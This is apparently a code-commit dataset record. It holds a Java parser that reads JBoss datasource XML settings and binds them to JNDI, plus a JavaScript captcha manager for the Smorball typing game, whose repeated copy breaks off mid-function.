import org.lightmare.jpa.datasource.Initializer.ConnectionConfig;
import org.lightmare.utils.CollectionUtils;
import org.lightmare.utils.IOUtils;
import org.lightmare.utils.NamingUtils;
import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;
import org.xml.sax.SAXException;
/**
* Parses xml files to initialize {@link javax.sql.DataSource}s and bind them to
* <a href="http://www.oracle.com/technetwork/java/jndi/index.html">jndi</a>
* {@link javax.naming.Context} by name
*
* @author levan
*
*/
public class FileParsers {
// Tag names for XML file parser
public static final String JBOSS_TAG_NAME = "urn:jboss:domain:datasources:1.0";
// Tag names for data source initialization
private static final String DATA_SURCE_TAG = "datasource";
private static final String USER_TAG = "user-name";
private static final String PASSWORD_TAG = "password";
private static final String DRIVER_TAG = "driver";
private static final String MAX_POOL_TAG = "max-pool-size";
private static final String MIN_POOL_TAG = "min-pool-size";
private static final String INITIAL_POOL_TAG = "prefill";
private static final String JNDI_NAME_TAG = "jndi-name";
private static final String CONNECTION_URL_TAG = "connection-url";
private static final String SECURITY_TAG = "security";
private static final String POOL_TAG = "pool";
private static final Logger LOG = Logger.getLogger(FileParsers.class);
public static Document document(File file) throws IOException {
return document(file.toURI().toURL());
}
public static Document document(URL url) throws IOException {
Document document;
URLConnection connection = url.openConnection();
InputStream stream = connection.getInputStream();
try {
document = parse(stream);
} finally {
IOUtils.close(stream);
}
return document;
}
/**
* Gets item with first index from passed {@link NodeList} instance
*
* @param list
* @return {@link Node}
*/
private static Node getFirst(NodeList list) {
return list.item(CollectionUtils.FIRST_INDEX);
}
/**
* To get text from tag depended on JRE installation
*
* @param element
* @return {@link String}
*/
public static String getContext(Element element) {
NodeList textList = element.getChildNodes();
Node firstNode = getFirst(textList);
String data = firstNode.getNodeValue().trim();
return data;
}
/**
* Parses XML document to initialize {@link javax.sql.DataSource}s
* configuration properties
*
* @param stream
* @return {@link Document}
* @throws IOException
*/
public static Document parse(InputStream stream) throws IOException {
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder;
Document document;
try {
builder = factory.newDocumentBuilder();
document = builder.parse(stream);
} catch (ParserConfigurationException ex) {
throw new IOException(ex);
} catch (SAXException ex) {
throw new IOException(ex);
}
return document;
}
/**
* Initializes <a
* href="http://www.oracle.com/technetwork/java/javase/jdbc/index.html"
* >jdbc</a> driver for appropriated {@link javax.sql.DataSource} for
* connection pooling
*
* @param nodeList
* @param properties
*/
public void setDataFromJBossDriver(NodeList nodeList, Properties properties) {
Element thisElement = (Element) getFirst(nodeList);
String name = getContext(thisElement);
String driverName = DriverConfig.getDriverName(name);
properties.setProperty(ConnectionConfig.DRIVER_PROPERTY.name,
driverName);
}
/**
* Gets security information from {@link javax.sql.DataSource} meta data
*
* @param nodeList
* @param properties
*/
public void setDataFromJBossSecurity(NodeList nodeList,
Properties properties) {
for (int i = 0; i < nodeList.getLength(); i++) {
Element thisElement = (Element) nodeList.item(i);
NodeList userList = thisElement.getElementsByTagName(USER_TAG);
int elementLength = userList.getLength();
if (elementLength == CollectionUtils.EMPTY_ARRAY_LENGTH) {
continue;
}
Element userElement = (Element) getFirst(userList);
String user = getContext(userElement);
properties.setProperty(ConnectionConfig.USER_PROPERTY.name, user);
NodeList passList = thisElement.getElementsByTagName(PASSWORD_TAG);
elementLength = passList.getLength();
if (elementLength == CollectionUtils.EMPTY_ARRAY_LENGTH) {
continue;
}
Element passElement = (Element) getFirst(passList);
String password = getContext(passElement);
properties.setProperty(ConnectionConfig.PASSWORD_PROPERTY.name,
password);
}
}
/**
* Gets security information from {@link javax.sql.DataSource} meta data
*
* @param nodeList
* @param properties
*/
public void setDataFromJBossPool(NodeList nodeList, Properties properties) {
for (int i = 0; i < nodeList.getLength(); i++) {
Element thisElement = (Element) nodeList.item(i);
NodeList minPoolSizeList = thisElement
.getElementsByTagName(MIN_POOL_TAG);
int elementLength = minPoolSizeList.getLength();
if (elementLength == CollectionUtils.EMPTY_ARRAY_LENGTH) {
continue;
}
Element minPoolSizeElement = (Element) getFirst(minPoolSizeList);
String minPoolSize = getContext(minPoolSizeElement);
properties.setProperty(PoolConfig.Defaults.MIN_POOL_SIZE.key,
minPoolSize);
NodeList maxPoolSizeList = thisElement
.getElementsByTagName(MAX_POOL_TAG);
elementLength = maxPoolSizeList.getLength();
if (elementLength == CollectionUtils.EMPTY_ARRAY_LENGTH) {
continue;
}
Element maxPoolSizeElement = (Element) getFirst(maxPoolSizeList);
String maxPoolSize = getContext(maxPoolSizeElement);
properties.setProperty(PoolConfig.Defaults.MAX_POOL_SIZE.key,
maxPoolSize);
NodeList initPoolSizeList = thisElement
.getElementsByTagName(INITIAL_POOL_TAG);
elementLength = initPoolSizeList.getLength();
if (elementLength == CollectionUtils.EMPTY_ARRAY_LENGTH) {
continue;
}
Element initPoolSizeElement = (Element) getFirst(initPoolSizeList);
String prefill = getContext(initPoolSizeElement);
if (Boolean.valueOf(prefill)) {
properties.setProperty(
PoolConfig.Defaults.INITIAL_POOL_SIZE.key, minPoolSize);
}
}
}
/**
* Gets {@link javax.sql.DataSource}s configuration properties as
* {@link List} of {@link Properties}
*
* @param nodeList
* @return
*/
public List<Properties> getDataFromJBoss(NodeList nodeList) {
List<Properties> properties = new ArrayList<Properties>();
String jndiName;
String clearName;
for (int i = 0; i < nodeList.getLength(); i++) {
Element thisElement = (Element) nodeList.item(i);
Properties props = new Properties();
jndiName = thisElement.getAttribute(JNDI_NAME_TAG);
clearName = NamingUtils.clearDataSourceName(jndiName);
props.setProperty(ConnectionConfig.JNDI_NAME_PROPERTY.name,
jndiName);
props.setProperty(ConnectionConfig.NAME_PROPERTY.name, clearName);
NodeList urlList = thisElement
.getElementsByTagName(CONNECTION_URL_TAG);
int urlElementLength = urlList.getLength();
if (urlElementLength == CollectionUtils.EMPTY_ARRAY_LENGTH) {
continue;
}
Element urlElement = (Element) getFirst(urlList);
String url = getContext(urlElement);
props.setProperty(ConnectionConfig.URL_PROPERTY.name, url);
NodeList securityList = thisElement
.getElementsByTagName(SECURITY_TAG);
setDataFromJBossSecurity(securityList, props);
NodeList poolList = thisElement.getElementsByTagName(POOL_TAG);
setDataFromJBossPool(poolList, props);
NodeList driverList = thisElement.getElementsByTagName(DRIVER_TAG);
setDataFromJBossDriver(driverList, props);
properties.add(props);
}
return properties;
}
private static NodeList getDataSourceTags(Document document) {
NodeList nodeList = document.getElementsByTagName(DATA_SURCE_TAG);
return nodeList;
}
private static NodeList getDataSourceTags(File file) throws IOException {
Document document = document(file);
NodeList nodeList = getDataSourceTags(document);
return nodeList;
}
private static NodeList getDataSourceTags(String dataSourcePath)
throws IOException {
File file = new File(dataSourcePath);
NodeList nodeList = getDataSourceTags(file);
return nodeList;
}
/**
* Retrieves data source JNDI names from passed file
*
* @param dataSourcePath
* @return
* @throws IOException
*/
public static Collection<String> dataSourceNames(String dataSourcePath)
throws IOException {
Collection<String> jndiNames = new HashSet<String>();
NodeList nodeList = getDataSourceTags(dataSourcePath);
String jndiName;
for (int i = 0; i < nodeList.getLength(); i++) {
Element thisElement = (Element) nodeList.item(i);
jndiName = thisElement.getAttribute(JNDI_NAME_TAG);
jndiNames.add(jndiName);
}
return jndiNames;
}
/**
* Parses standalone.xml file and initializes {@link javax.sql.DataSource}s
* and binds them to JNDI context
*
* @param dataSourcePath
* @throws IOException
*/
public void parseStandaloneXml(String dataSourcePath) throws IOException {
NodeList nodeList = getDataSourceTags(dataSourcePath);
List<Properties> properties = getDataFromJBoss(nodeList);
// Blocking semaphore before all data source initialization finished
CountDownLatch blocker = new CountDownLatch(properties.size());
BeanLoader.DataSourceParameters parameters;
for (Properties props : properties) {
try {
// Initializes and fills BeanLoader.DataSourceParameters class
// to deploy data source
parameters = new BeanLoader.DataSourceParameters();
parameters.properties = props;
parameters.blocker = blocker;
BeanLoader.initializeDatasource(parameters);
} catch (IOException ex) {
LOG.error(InitMessages.INITIALIZING_ERROR, ex);
}
}
try {
blocker.await();
} catch (InterruptedException ex) {
throw new IOException(ex);
}
Initializer.setDsAsInitialized(dataSourcePath);
}
}
| commented / improved/ edited utility classes | src/main/java/org/lightmare/jpa/datasource/FileParsers.java | commented / improved/ edited utility classes | <ide><path>rc/main/java/org/lightmare/jpa/datasource/FileParsers.java
<ide> // Tag names for XML file parser
<ide> public static final String JBOSS_TAG_NAME = "urn:jboss:domain:datasources:1.0";
<ide>
<del> // Tag names for data source initialization
<add> // Tag names for data source properties initialization
<ide> private static final String DATA_SURCE_TAG = "datasource";
<ide> private static final String USER_TAG = "user-name";
<ide> private static final String PASSWORD_TAG = "password"; |
|
JavaScript | mit | 9adbb69d46988dd7fc31d280ec666848380f6744 | 0 | tiltfactor/smorball,tiltfactor/smorball,tiltfactor/smorball,tiltfactor/smorball | var CaptchasManager = (function () {
function CaptchasManager() {
this.localChunks = [];
this.remoteChunks = [];
this.loadingData = false;
}
CaptchasManager.prototype.init = function () {
var _this = this;
// Catch text entry
$("#gameScreen .entry .pass-btn").click(function () { return _this.pass(); });
$("#gameScreen .entry .submit-btn").click(function () { return _this.testTextEntry(); });
$("#gameScreen .entry input").on("keydown", function (event) {
if (event.which == 13)
_this.testTextEntry();
});
this.attemptsNotSent = [];
window.onbeforeunload = function () { return _this.sendInputsToServer(); };
};
CaptchasManager.prototype.startNewLevel = function (level) {
this.captchasSucceeded = 0;
this.updatePassButton();
this.confusedTimeMuliplier = 1;
this.attemptsNotSent = [];
$("#gameScreen .entry input").val("");
// First refresh our local chunks list
this.localChunks = this.getLocalChunks();
// Make the new ones
this.constructCaptchas(level);
};
CaptchasManager.prototype.getLocalChunks = function () {
// Grab the local page and make a copy
var inData = smorball.resources.getResource("local_ocr_page_data");
// Construct the spritesheet if we havent already
if (inData.spritesheet == null) {
var ssData = smorball.resources.getResource("captchas_json");
ssData.images = [smorball.resources.getResource("captchas_jpg")];
inData.spritesheet = new createjs.SpriteSheet(ssData);
// Set the parent in each chunk (for easy reference later);
_.each(inData.differences, function (d) { return d.page = inData; });
}
return inData.differences.slice().reverse();
};
CaptchasManager.prototype.constructCaptchas = function (level) {
var _this = this;
this.captchas = [];
// Making a captcha for each lane needed
_.each(level.lanes, function (lane) {
var captcha = new Captcha(lane, Utils.randomOne(_this.localChunks));
_this.captchas.push(captcha);
smorball.screens.game.captchas.addChild(captcha);
});
};
CaptchasManager.prototype.showCaptchas = function () {
_.each(this.captchas, function (c) { return c.visible = true; });
};
CaptchasManager.prototype.hideCaptchas = function () {
_.each(this.captchas, function (c) { return c.visible = false; });
};
CaptchasManager.prototype.getCaptcha = function (lane) {
return _.find(this.captchas, function (c) { return c.lane == lane; });
};
CaptchasManager.prototype.refreshCaptcha = function (lane) {
var _this = this;
var captcha = this.getCaptcha(lane);
// Get the visible captchas on screen
var visibleCapatchas = _.filter(this.getActiveCaptchas(), function (c) { return c.lane != lane; });
for (var i = 0; i < 100; i++) {
// Grab the next chunk from the stack
var nextChunk = this.getNextChunkByProximity(lane);
console.log("Next captcha pulled from stack, isLocal:", nextChunk.page.isLocal, nextChunk);
// Must ensure that the next chunk does not equal one that is already on screen
var match = _.find(visibleCapatchas, function (c) { return _this.doChunksMatch(c.chunk, nextChunk); });
if (match != null) {
console.log("Cannot use captcha, same one is already on the screen");
continue;
}
// Ensure that the chunk isnt too wide
captcha.scaleX = captcha.scaleY = 1;
captcha.setChunk(nextChunk);
// If the new size of the captch is too small in either dimension then lets discard it
if (captcha.getBounds().width < smorball.config.minCaptchaPixelSize || captcha.getBounds().height < smorball.config.minCaptchaPixelSize) {
console.log("Cannot use captcha, width or height is less than minimum Captcha pixel size", captcha.getBounds(), smorball.config.minCaptchaPixelSize);
continue;
}
// Lets check the pre-scaled size of the captcha to anything too big
var width = captcha.getWidth();
if (width > smorball.config.maxCaptchaSize) {
// If the chunk is too wide then lets see if we should scale it down or not
var L = this.getAverageTextLength(nextChunk);
var result = Math.min(width, smorball.config.maxCaptchaSize) / L;
// If the result is less than a specific constant value then throw out this word and try another
if (result < smorball.config.captchaScaleLimitConstantN) {
console.log("Cannot use captcha, its too wide compared to contant! result:", result);
continue;
}
// Else lets scale the captcha down some
var scale = smorball.config.maxCaptchaSize / width;
console.log("Scaling captcha down to:", scale);
captcha.scaleX = captcha.scaleY = scale;
// If the new size of the captch is too small in either dimension then lets discard it
if (captcha.getBounds().width * scale < smorball.config.minCaptchaPixelSize || captcha.getBounds().height * scale < smorball.config.minCaptchaPixelSize) {
console.log("Cannot use captcha, width or height is less than minimum Captcha pixel size", captcha.getBounds(), smorball.config.minCaptchaPixelSize);
continue;
}
}
// If we get here then we are done
captcha.animateIn();
break;
}
};
CaptchasManager.prototype.getAverageTextLength = function (chunk) {
var len = 0;
_.each(chunk.texts, function (t) { return len += t.length; });
return len / chunk.texts.length;
};
CaptchasManager.prototype.doChunksMatch = function (a, b) {
for (var i = 0; i < a.texts.length; i++)
for (var j = 0; j < b.texts.length; j++)
if (a.texts[i] == b.texts[j])
return true;
return false;
};
CaptchasManager.prototype.getNextChunk = function () {
// If its a tutorial level then we need to use a speacially prepared list
if (smorball.game.levelIndex == 0)
return this.localChunks.pop();
else {
// If there arent any chunks remaining then just chunk our local store in there
if (this.remoteChunks.length == 0)
return Utils.randomOne(this.localChunks);
// Else lets return back one
var chunk = Utils.popRandomOne(this.remoteChunks);
// If there is nothing left in there lets grab another page
if (this.remoteChunks.length == 0)
this.loadPagesFromServer(2);
// Return the chunk popped
return chunk;
}
};
CaptchasManager.prototype.getNextChunkByProximity = function (lane) {
// If its a tutorial level then we need to use a speacially prepared list
var isChrome = navigator.userAgent.toLowerCase().indexOf('chrome') > -1;
//Check to see if all of the captchas on the screen are local
if (smorball.game.levelIndex == 0)
return this.localChunks.pop();
else {
// If there is nothing left in there lets grab another page
// Because chrome has hardware acceleration issues when showing captchas
// from two different pages at once, only load a new page when all of the
// current captchas are local (if on chrome). Otherwise, load some more pages
if (this.remoteChunks.length == 0)
{
var visibleCapatchas = this.getActiveCaptchas();
console.log(visibleCapatchas);
var allLocal = true;
for (var i = 0; i<visibleCapatchas.length; i++)
{
allLocal = (visibleCapatchas[i].chunk.page.isLocal);
if(!allLocal)
{
break;
}
}
if (isChrome && allLocal && !this.loadingData)
{
this.loadPagesFromServer(1);
this.loadingData = true;
}
if (!isChrome)
this.loadPagesFromServer(2);
}
// If there arent any chunks remaining then just chunk our local store in there
if (this.remoteChunks.length == 0)
return Utils.randomOne(this.localChunks);
else
this.loadingData = false;
// Else return a captcha based on enemy proximity in the lane
// The closer the enemy is, the shorter the captcha should be
var percent = 1 - smorball.game.getEnemyProximity(lane);
var index = Math.min(this.remoteChunks.length - 1, Math.floor(this.remoteChunks.length * percent));
var chunk = this.remoteChunks.splice(index, 1)[0];
// Return the chunk popped
return chunk;
}
};
CaptchasManager.prototype.update = function (delta) {
if (this.isLocked) {
this.lockedTimer += delta;
if (this.lockedTimer >= smorball.config.penaltyTime * this.confusedTimeMuliplier)
this.unlock();
}
};
CaptchasManager.prototype.pass = function () {
var _this = this;
// Decrement the number of passes remaining
smorball.game.passesRemaining--;
// Set new entries for the visible captcahs
_.chain(this.captchas).filter(function (c) { return c.chunk != null; }).each(function (c) { return c.setChunk(_this.getNextChunkByProximity()); });
$("#gameScreen .entry input").val("");
this.updatePassButton();
};
CaptchasManager.prototype.updatePassButton = function () {
if (smorball.game.passesRemaining > 0) {
$("#gameScreen .entry .pass-btn").prop("disabled", false);
$("#gameScreen .entry .pass-btn").text("PASS (" + smorball.game.passesRemaining + ")");
}
else {
$("#gameScreen .entry .pass-btn").prop("disabled", true).text("PASS");
}
};
CaptchasManager.prototype.testTextEntry = function () {
// Cant test if the game is not running
if (smorball.game.state != 2 /* Playing */)
return;
// Grab the text and reset it ready for the next one
var text = $("#gameScreen .entry input").val();
if (text == null || text == "")
return; // skip if no text entered
$("#gameScreen .entry input").val("");
// Check for cheats first (if we are in debug mode)
if (smorball.config.debug && this.checkForCheats(text))
return;
// Get the visible captchas on screen
var visibleCapatchas = this.getActiveCaptchas();
// If there are no visible then lets just jump out until they are
if (visibleCapatchas.length == 0)
return;
// Sort active captchas based on enemy proximity in each lane
// (in case two captchas match, this will prioritize the lane with a closer enemy)
visibleCapatchas = _.sortBy(visibleCapatchas, function(c) {
return -smorball.game.getEnemyProximity(c.lane);
});
// Log
console.log("Comparing text", text, _.map(this.captchas, function (c) { return c.chunk; }));
// Convert them into a form that the closestWord algo needs
var differences = _.map(visibleCapatchas, function (c) { return c.chunk; });
// Slam it through the library
var output = new closestWord(text, differences);
output.text = text;
console.log("Comparing inputted text against captchas", text, output);
// Increment and send if neccessary
if (!output.closestOcr.page.isLocal) {
this.attemptsNotSent.push(output);
if (this.attemptsNotSent.length > smorball.config.entriesBeforeServerSubmission)
this.sendInputsToServer();
}
// Handle success
if (output.match) {
// Which was the selected one?
var captcha = _.find(visibleCapatchas, function (c) { return c.chunk == output.closestOcr; });
this.onCaptchaEnteredSuccessfully(text, captcha);
}
else
this.onCaptchaEnterError();
};
CaptchasManager.prototype.onCaptchaEnteredSuccessfully = function (text, captcha) {
var _this = this;
// Hide the current captcha
captcha.clear();
// Show the indicator
smorball.screens.game.indicator.showCorrect();
// This is needed as the Breakfast Club powerup is dependant on the length of the captcha
var damageBonus = 0;
if (text.length > 7 && smorball.upgrades.isOwned("breakfast"))
damageBonus += smorball.upgrades.getUpgrade("breakfast").damageBonus;
var speedMultiplier = 1;
if (smorball.upgrades.isOwned("speeddrills"))
speedMultiplier = smorball.upgrades.getUpgrade("speeddrills").speedMultiplier;
// If we have the bullhorn powerup selected then send all athletes running
var powerup = smorball.screens.game.selectedPowerup;
if (powerup != null) {
// Play a sound
smorball.audio.playSound("word_typed_correctly_with_powerup_sound");
// If its a bullhorn then send every athlete in the
if (powerup.type == "bullhorn") {
_.chain(smorball.game.athletes).filter(function (a) { return a.state == 1 /* ReadyToRun */; }).each(function (a) { return _this.sendAthleteInLane(a.lane, text, damageBonus, speedMultiplier); });
}
else
this.sendAthleteInLane(captcha.lane, text, damageBonus, speedMultiplier);
// Decrement the powerup
smorball.powerups.powerups[powerup.type].quantity--;
// Deselect the powerup
smorball.screens.game.selectPowerup(null);
}
else {
// Play a sound
smorball.audio.playSound("word_typed_correct_sound");
this.sendAthleteInLane(captcha.lane, text, damageBonus, speedMultiplier);
// If this is the tutorial level then make sure the captcha is now hidden so the user cant enter before the next wave
if (smorball.game.levelIndex == 0)
captcha.visible = false;
}
};
CaptchasManager.prototype.getActiveCaptchas = function () {
return _.filter(this.captchas, function (c) { return c.visible && c.chunk != null; });
};
CaptchasManager.prototype.onCaptchaEnterError = function () {
var _this = this;
// Play a sound
smorball.audio.playSound("word_typed_incorrect_sound");
// Show the indicator
smorball.screens.game.indicator.showIncorrect();
// Add a score penalty and show some floating text
var penalty = smorball.config.incorrectCaptchaScorePenalty;
smorball.game.levelScore -= penalty;
smorball.screens.game.actors.addChild(new FloatingText("-" + penalty, smorball.config.width / 2, smorball.config.height / 2 + 200));
// So long as we arent running the first level then lets refresh all the captchas
if (smorball.game.levelIndex != 0) {
_.each(this.getActiveCaptchas(), function (c) { return _this.refreshCaptcha(c.lane); });
}
// Finally lock
this.lock();
};
CaptchasManager.prototype.sendAthleteInLane = function (lane, text, damageBonus, speedMultiplier) {
// Start the athlete running
var athelete = _.find(smorball.game.athletes, function (a) { return a.lane == lane && a.state == 1 /* ReadyToRun */; });
athelete.damageBonus = damageBonus;
athelete.speedMultiplier = speedMultiplier;
athelete.knockback = Utils.clamp(text.length * smorball.config.knockbackWordLengthMultiplier, smorball.config.knockbackMin, smorball.config.knockbackMax);
athelete.run();
// Spawn another in the same lane
smorball.spawning.spawnAthlete(lane);
};
CaptchasManager.prototype.checkForCheats = function (text) {
if (text.toLowerCase() == "win level") {
smorball.game.enemiesKilled = smorball.spawning.enemySpawnsThisLevel;
smorball.game.levelScore = Math.round(100 + Math.random() * 500);
smorball.game.gameOver(true);
return true;
}
else if (text.toLowerCase() == "loose level") {
smorball.game.enemiesKilled = Math.round(Math.random() * smorball.spawning.enemySpawnsThisLevel);
smorball.game.levelScore = 0;
smorball.game.gameOver(false);
return true;
}
else if (text.toLowerCase() == "win all levels") {
smorball.game.enemiesKilled = Math.round(Math.random() * smorball.spawning.enemySpawnsThisLevel);
smorball.game.levelScore = Math.round(100 + Math.random() * 500);
smorball.user.cash += 99999;
for (var i = 0; i < smorball.game.levels.length; i++)
smorball.user.levelWon(i);
smorball.game.gameOver(true);
return true;
}
else if (text.toLowerCase() == "increase cleats") {
smorball.powerups.powerups.cleats.quantity++;
return true;
}
else if (text.toLowerCase() == "increase helmets") {
smorball.powerups.powerups.helmet.quantity++;
return true;
}
else if (text.toLowerCase() == "increase bullhorns") {
smorball.powerups.powerups.bullhorn.quantity++;
return true;
}
else if (text.toLowerCase() == "spawn powerup") {
smorball.powerups.spawnPowerup(Utils.randomOne(_.keys(smorball.powerups.types)), Utils.randomOne(smorball.game.level.lanes));
return true;
}
return false;
};
CaptchasManager.prototype.lock = function () {
// Disable all the inputs
$("#gameScreen .entry .submit-btn").prop("disabled", true);
$("#gameScreen .entry input").prop("disabled", true);
$("#gameScreen .entry .pass-btn").prop("disabled", true);
// Shake them
Utils.shake($("#gameScreen .entry input"));
// Make the athletes play their confused animations
_.each(smorball.game.athletes, function (a) {
if (a.state == 1 /* ReadyToRun */)
a.sprite.gotoAndPlay("confused");
});
// After some time enable them again
this.lockedTimer = 0;
this.isLocked = true;
// Hide all captchas unti lthe confused wears off
this.hideCaptchas();
};
CaptchasManager.prototype.unlock = function () {
$("#gameScreen .entry .submit-btn").prop("disabled", false);
$("#gameScreen .entry input").prop("disabled", false);
if (smorball.game.passesRemaining > 0)
$("#gameScreen .entry .pass-btn").prop("disabled", false);
// Focus the input again
$("#gameScreen .entry input").focus();
// Make the athletes return to normal
_.each(smorball.game.athletes, function (a) {
if (a.state == 1 /* ReadyToRun */)
a.sprite.gotoAndPlay("idle");
});
// Not locked any more
this.isLocked = false;
// Show captchas again
this.showCaptchas();
};
CaptchasManager.prototype.sendInputsToServer = function () {
var _this = this;
// Dont send anything if there arent enoughv to send!
if (this.attemptsNotSent.length == 0)
return;
console.log("sending difference inputs to sever..");
// Convert it into the format needed by the server
var data = {
differences: _.map(this.attemptsNotSent, function (a) {
return { _id: a.closestOcr._id, text: a.text };
})
};
// Make a copy of the attempts not sent and reset the list ready for the next send
var attempts = this.attemptsNotSent.slice();
this.attemptsNotSent = [];
$.ajax({
type: 'PUT',
dataType: 'json',
processData: false,
contentType: 'application/json',
crossDomain: true,
url: smorball.config.DifferenceAPIUrl,
data: JSON.stringify(data),
timeout: 10000,
success: function (data) {
console.log("data sent to DifferenceAPI success!", data);
},
error: function (err) {
console.log("difference API error:", err);
// If we get an error, add these attempts back into the list
_this.attemptsNotSent = _this.attemptsNotSent.concat(attempts);
},
headers: { "x-access-token": smorball.config.PageAPIAccessToken }
});
};
CaptchasManager.prototype.loadPageFromServer = function () {
var _this = this;
$.ajax({
url: smorball.config.PageAPIUrl,
success: function (data) { return _this.parsePageAPIData(data); },
headers: { "x-access-token": smorball.config.PageAPIAccessToken },
timeout: smorball.config.PageAPITimeout
});
};
CaptchasManager.prototype.loadPagesFromServer = function (numPages, captchasPerPage) {
if (typeof(captchasPerPage)==='undefined') captchasPerPage = 0;
var _this = this;
$.ajax({
url: smorball.config.PageAPIUrl,
success: function (data) {
if (numPages > 1)
_this.loadPagesFromServer(numPages - 1);
return _this.parsePageAPIData(data);
},
headers: { "x-access-token": smorball.config.PageAPIAccessToken },
timeout: smorball.config.PageAPITimeout,
data: { wordAmount: captchasPerPage }
});
};
CaptchasManager.prototype.parsePageAPIData = function (data) {
var _this = this;
console.log("OCRPage loaded, loading image..", data);
localStorage["last_page"] = JSON.stringify(data);
data.isLocal = false;
// This seems to be the only way I can get the CORS image to work
var image = new Image();
image.src = data.url;
image.onload = function () {
console.log("OCRPage image loaded..", image);
var ssData = {
frames: [],
images: []
};
_.each(data.differences, function (d) {
var x = d.coords[3].x;
var y = d.coords[3].y;
var w = d.coords[1].x - d.coords[3].x;
var h = d.coords[1].y - d.coords[3].y;
// A few error catches here
if (x < 0)
console.error("X LESS THAN ZERO!! ", d);
if (y < 0)
console.error("Y LESS THAN ZERO!! ", d);
if (w <= 0)
console.error("WIDTH LESS THAN OR EQUAL TO ZERO!! ", d);
if (h <= 0)
console.error("HEIGHT LESS THAN OR EQUAL TO ZERO!! ", d);
if (x + w > image.width)
console.error("WIDTH GREATER THAN IMAGE!! ", d);
if (y + h > image.height)
console.error("WIDTH GREATER THAN IMAGE!! ", d);
d.frame = ssData.frames.length;
d.page = data;
ssData.frames.push([x, y, w, h]);
_this.remoteChunks.push(d);
});
// Sort incoming captchas by length (ascending)
_this.remoteChunks = _.sortBy(_this.remoteChunks, function(c) {
return (c.texts[0].length + c.texts[1].length) / 2;
});
ssData.images = [image];
data.spritesheet = new createjs.SpriteSheet(ssData);
};
};
return CaptchasManager;
})();
| src/Smorball/wwwroot/js/managers/capatchas-manager.js | var CaptchasManager = (function () {
function CaptchasManager() {
this.localChunks = [];
this.remoteChunks = [];
this.loadingData = false;
}
CaptchasManager.prototype.init = function () {
var _this = this;
// Catch text entry
$("#gameScreen .entry .pass-btn").click(function () { return _this.pass(); });
$("#gameScreen .entry .submit-btn").click(function () { return _this.testTextEntry(); });
$("#gameScreen .entry input").on("keydown", function (event) {
if (event.which == 13)
_this.testTextEntry();
});
this.attemptsNotSent = [];
window.onbeforeunload = function () { return _this.sendInputsToServer(); };
};
CaptchasManager.prototype.startNewLevel = function (level) {
this.captchasSucceeded = 0;
this.updatePassButton();
this.confusedTimeMuliplier = 1;
this.attemptsNotSent = [];
$("#gameScreen .entry input").val("");
// First refresh our local chunks list
this.localChunks = this.getLocalChunks();
// Make the new ones
this.constructCaptchas(level);
};
CaptchasManager.prototype.getLocalChunks = function () {
// Grab the local page and make a copy
var inData = smorball.resources.getResource("local_ocr_page_data");
// Construct the spritesheet if we havent already
if (inData.spritesheet == null) {
var ssData = smorball.resources.getResource("captchas_json");
ssData.images = [smorball.resources.getResource("captchas_jpg")];
inData.spritesheet = new createjs.SpriteSheet(ssData);
// Set the parent in each chunk (for easy reference later);
_.each(inData.differences, function (d) { return d.page = inData; });
}
return inData.differences.slice().reverse();
};
CaptchasManager.prototype.constructCaptchas = function (level) {
var _this = this;
this.captchas = [];
// Making a captcha for each lane needed
_.each(level.lanes, function (lane) {
var captcha = new Captcha(lane, Utils.randomOne(_this.localChunks));
_this.captchas.push(captcha);
smorball.screens.game.captchas.addChild(captcha);
});
};
CaptchasManager.prototype.showCaptchas = function () {
_.each(this.captchas, function (c) { return c.visible = true; });
};
CaptchasManager.prototype.hideCaptchas = function () {
_.each(this.captchas, function (c) { return c.visible = false; });
};
CaptchasManager.prototype.getCaptcha = function (lane) {
return _.find(this.captchas, function (c) { return c.lane == lane; });
};
CaptchasManager.prototype.refreshCaptcha = function (lane) {
var _this = this;
var captcha = this.getCaptcha(lane);
// Get the visible captchas on screen
var visibleCapatchas = _.filter(this.getActiveCaptchas(), function (c) { return c.lane != lane; });
for (var i = 0; i < 100; i++) {
// Grab the next chunk from the stack
var nextChunk = this.getNextChunkByProximity(lane);
console.log("Next captcha pulled from stack, isLocal:", nextChunk.page.isLocal, nextChunk);
// Must ensure that the next chunk does not equal one that is already on screen
var match = _.find(visibleCapatchas, function (c) { return _this.doChunksMatch(c.chunk, nextChunk); });
if (match != null) {
console.log("Cannot use captcha, same one is already on the screen");
continue;
}
// Ensure that the chunk isnt too wide
captcha.scaleX = captcha.scaleY = 1;
captcha.setChunk(nextChunk);
// If the new size of the captch is too small in either dimension then lets discard it
if (captcha.getBounds().width < smorball.config.minCaptchaPixelSize || captcha.getBounds().height < smorball.config.minCaptchaPixelSize) {
console.log("Cannot use captcha, width or height is less than minimum Captcha pixel size", captcha.getBounds(), smorball.config.minCaptchaPixelSize);
continue;
}
// Lets check the pre-scaled size of the captcha to anything too big
var width = captcha.getWidth();
if (width > smorball.config.maxCaptchaSize) {
// If the chunk is too wide then lets see if we should scale it down or not
var L = this.getAverageTextLength(nextChunk);
var result = Math.min(width, smorball.config.maxCaptchaSize) / L;
// If the result is less than a specific constant value then throw out this word and try another
if (result < smorball.config.captchaScaleLimitConstantN) {
console.log("Cannot use captcha, its too wide compared to contant! result:", result);
continue;
}
// Else lets scale the captcha down some
var scale = smorball.config.maxCaptchaSize / width;
console.log("Scaling captcha down to:", scale);
captcha.scaleX = captcha.scaleY = scale;
// If the new size of the captch is too small in either dimension then lets discard it
if (captcha.getBounds().width * scale < smorball.config.minCaptchaPixelSize || captcha.getBounds().height * scale < smorball.config.minCaptchaPixelSize) {
console.log("Cannot use captcha, width or height is less than minimum Captcha pixel size", captcha.getBounds(), smorball.config.minCaptchaPixelSize);
continue;
}
}
// If we get here then we are done
captcha.animateIn();
break;
}
};
CaptchasManager.prototype.getAverageTextLength = function (chunk) {
var len = 0;
_.each(chunk.texts, function (t) { return len += t.length; });
return len / chunk.texts.length;
};
CaptchasManager.prototype.doChunksMatch = function (a, b) {
for (var i = 0; i < a.texts.length; i++)
for (var j = 0; j < b.texts.length; j++)
if (a.texts[i] == b.texts[j])
return true;
return false;
};
CaptchasManager.prototype.getNextChunk = function () {
// If its a tutorial level then we need to use a speacially prepared list
if (smorball.game.levelIndex == 0)
return this.localChunks.pop();
else {
// If there arent any chunks remaining then just chunk our local store in there
if (this.remoteChunks.length == 0)
return Utils.randomOne(this.localChunks);
// Else lets return back one
var chunk = Utils.popRandomOne(this.remoteChunks);
// If there is nothing left in there lets grab another page
if (this.remoteChunks.length == 0)
